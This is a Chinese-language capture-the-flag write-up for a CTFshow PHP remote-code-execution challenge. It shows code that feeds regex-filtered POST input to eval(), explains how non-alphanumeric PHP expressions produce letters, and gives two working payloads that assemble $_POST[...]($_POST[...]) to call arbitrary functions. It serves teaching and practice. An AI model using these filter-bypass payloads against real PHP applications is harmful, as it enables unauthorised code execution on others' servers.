CTFshow-RCE极限挑战-RCE挑战5
题目代码
<?php //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 73) { if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); } }
要通过POST代码执行,但是过滤非常严,简单写一个PHP脚本跑一下没被过滤的字符,有$()+,./;=[]_ 和一些不可见字符
<?php for ($i = 0; $i < 256; $i++) if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/", chr($i))) echo chr($i);
为了代码执行,要通过这些符号创造字母
[]._返回值为字符串Array_,数组与字符串拼接
_/_._返回值为字符串NAN_,非数字开头字符串==0成立,0/0为浮点型NAN,NAN与字符串拼接
(_==_)/_._返回值为字符串INF_,(_==_)==1成立,1/0为浮点型INF,INF与字符串拼接
这里由于字数限制要用代码尽可能短的方法
经检验,构造$_POST[1]($_POST[2]);来执行函数是最短的方式,只有一个POST是不能执行函数和``的
小知识:变量名可以使用不可见字符,如$%80
上payload,要将a替换为不可见字符
$a=(_/_._)[_]; //得到N $a++; //O $_=$a.$a++; //PO,至于为什么不是OO,原因暂时不明 $a++;$a++; //Q、R $_=_.$_.++$a.++$a; //_POST $$_[a]($$_[_]);
当然这是非预期解,因为第三行机制不明,下面是预期解
根据phpinfo,发现安装了gettext扩展,可以使用_()直接转为字符串,最短payload
$_=_(_/_)[_]; //得到N $a=++$_; //O、O $$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);
最后一行分解
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]); $$a[$a=_P.$a[$_++/$_++].++$_.++$_]($$a[_]); $$a[$a=_P.$a[P/Q].++$_.++$_]($$a[_]); $$a[$a=_PO.++$_.++$_]($$a[_]); $$a[$a=_POS.++$_]($$a[_]); $$a[$a=_POST]($$a[_]); $_POST[_POST]($_POST[_]);